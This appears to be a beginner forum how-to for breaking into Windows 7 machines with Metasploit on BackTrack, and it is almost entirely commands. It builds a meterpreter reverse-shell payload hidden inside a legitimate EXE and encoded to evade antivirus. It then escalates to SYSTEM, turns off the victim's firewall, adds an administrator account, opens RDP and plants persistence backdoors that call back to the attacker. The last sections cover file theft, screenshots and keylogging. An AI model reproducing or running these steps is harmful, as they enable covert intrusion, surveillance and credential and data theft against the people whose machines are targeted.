[HOW-TO] Metasploit attack on Win 7 x86/x64 - Detailed for beginners

GUIDE EXPLANATION:
Text in {} = Titles
# In front of text = Info
Text in [] = Your Input

# Here are some examples on [] from the guide beneath:

# set LHOST [IP ADRESS INT.] = set LHOST 192.168.1.15

# rdesktop [IP]:[port] -u "[USERNAME]" = rdesktop 192.168.1.15:1337 -u "John"

# search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg = search -d "C:\\windows\\New folder" -f *.jpg

# So when you input anything where there is [], remember to remove the []

-------------------------------------

{Shell 1} (Creating Exploit)

Code:

cd /pentest/exploits/framework3/

svn up
# To update framework3

clear

./msfpayload windows/meterpreter/reverse_tcp LHOST=[YOUR IP ADRESS INT./EXT.] LPORT=[YOUR PORT] R | ./msfencode -c [NUMBER - How many time it will be encoded] -e x86/shikata_ga_nai -x /root/[SOFTWARE_NAME].exe -t exe > /root/[NEW_SOFTWARE_NAME].exe

# If you get encoder error find another EXE or try to encode it less time

# Copy payload to target

-------------------------------------

{Shell 2} (Using Exploit)

Code:

cd /pentest/exploits/framework3/

clear

./msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [IP ADRESS INT.]

set LPORT [PORT] (if used in msfpayload in Shell 1)

show options

exploit

----------
# Now we wait for connection, so start the payload on victim computer
----------

Code:

use priv

ps
# Look for PID on explorer.exe

migrate [PID on explorer]

getsystem

sysinfo
# If "Arch = x64" = NO HASHDUMP it won't work

# Now we are in the system

-------------------------------------

{Prepare for RDP}

Code:

shell
# Connect to CMD

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
# Allows incoming terminal service connections

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
# Disables blocking incoming Terminal service connections

Netsh firewall set opmode enable
# Enable Firewall on Victim

Netsh firewall set opmode disable
# Disable Firewall on Victim

{USER:} (Still in shell)

Code:

net user [USERNAME] [PASSWORD] 
# Change password for the user

# Or create you own user

net user [USERNAME] [PASSWORD] /add

net localgroup [GROUP] [USERNAME] /add 
# In [GROUP] you could use "administrators" and [USERNAME] is the user you just created

net accounts /maxpwage:[days] | unlimited
# Examples: net accounts /maxpwage:6
# or: net accounts /maxpwage:unlimited

# CTRL + Z then Y to exit shell without it freezing the system

-------------------------------------

{Shell 3} (RDP to compromised system)

# No need for ":" and [PORT] if local

# Remember to be in "root@bt:~#"

Code:

rdesktop [IP]:[port] -u "[USERNAME]"

-------------------------------------

{Setting up backdoors for future use} (when in meterpreter console)

Code:

run metsvc (set backdoor for next time you want in)

(OR THIS)

run persistence -r [YOUR IP ADRESS INT./EXT.] -p [YOUR PORT] -A -X -i 300
# 300 tells it to send request for connection every 300 sec. "run persistence -h" for more info

***UP- AND DOWNSIDES USING THIS***

METSVC:
VERY BAD: All 3 files is use gets flagged by Norton Internet Security 2011 as trojan, maybe other AV's will do this too!
BAD: If ip change you have to know the IP to connect back to Victim
GOOD: Easy to use
GOOD: It dosn't request YOUR IP and port!

PERSISTENCE:
BAD: It requests YOUR IP and port!
BAD: Can be more "difficult" to use
GOOD: Flexible
GOOD: Auto Connect
ALMOST GOOD: svchost.exe is reported as suspicious, but NOT as malware! It's only when you run NPE (Norton Power Eraser) it is detected as bad, and will be removed. and that's a tool you must download!

-------------------------------------

{GET BACK INTO SYSTEM} (using metsvc in a new terminal)

Code:

cd /pentest/exploits/framework3/

svn up

clear

./msfconsole

use exploit/multi/handler

set PAYLOAD windows/metsvc_bind_tcp

set LPORT 31337 (Must be this port of what i know)

set RHOST [VICTIM IP ADRESS]

show options (see if your setup is correct)

exploit

------------------------------------

{GET BACK INTO SYSTEM} (using persistence in a new terminal)

Code:

cd /pentest/exploits/framework3/

svn up

clear

./msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST [IP ADRESS INT.]

set LPORT [PORT]
# The port set in persistence backdoor

show options

exploit

----------
# Now we wait for connection, it will reconnect to your computer within 300 sec
----------

getuid
# If = "NT AUTHORITY\SYSTEM" do this else go to "use priv":

ps
# Find PID on explorer.exe

steal_token [NUMBER - PID on explorer]
# From what i know it grants you the same rights as the user running that process

use priv

get system


------------------------------------

{Search} (in meterpreter console)

Code:

search -f *.jpg
# Finding all JPG files on the system

search -d "[DRIVE:\\FOLDER\\FOLDER]" -f *.jpg
# Finding all JPG filen i a specific folder

searct -f test.txt
# Find a specific file on the whole system

------------------------------------

{Uploading and Downloading} (How I use it)

# Use "ls", "pwd" and "cd" to navigate around - see below under commands

Explanation:
Create a txt file on yout BT4 desktop and write any thing in it, or nothing, and save it with the name "test.txt" then in terminal in meterpreter console (after your connected to victim), navigate to the desktop of the user currently logged in.
Use "pwd" without quotes, to check if the path is correct, if it is type the following:

{Upload}

Code:

upload /root/test.txt test.txt

# and if you are uploading a file with space in it's name:

upload "/root/test 2.txt" "test 2.txt"

# Or if your not in the path where you want to upload a file, and want it to be uploaded to another folder

upload "/root/test 2.txt" "DRIVE:\\FOLDER\\FOLDER\\test 2.txt"
# Example: upload "/root/test 2.txt" "C:\\test\\test1\\test 2.txt"


{Download}

Explanation:
Now we are going to download the file we just uploaded the "test.txt". Navigate to the folder if your not already in it, by using the "cd", "pwd" and "ls" commands.

Then type:

Code:

download test.txt /root/test.txt

# And if you are downloading a file with space in it's name

download "test 2.txt" "/root/test 2.txt"

# Or if your not in the path where you want to download a file from, but know the exact path and name by using search

download "DRIVE:\\FOLDER\\FOLDER\\test 2.txt" "/root/test 2.txt"
# Example: download "C:\\test\\test1\\test 2.txt" "/root/test 2.txt"

------------------------------------

{Commands} (meterpreter console)

help
# USE THIS!!! thats mostly how i got this knowledge and then googled the commands to get more info on them

screenshot
# No need to say what it does - remember you must have used "use priv" in meterpreter first

cd [DRIVE:\\FOLDER\\FOLDER]
# You get it - Change directory

pwd
# Show what directory your in

ls
# List Current Directory

upload
# See above

download
# See above

search
# See above and Meterpreter Search This can be used in diff. consoles!

keyscan_start
# Key Sniffer - Start

keyscan_dump
# Key Sniffer - dump keys while running

keyscan_stop
# Key Sniffer - Stop
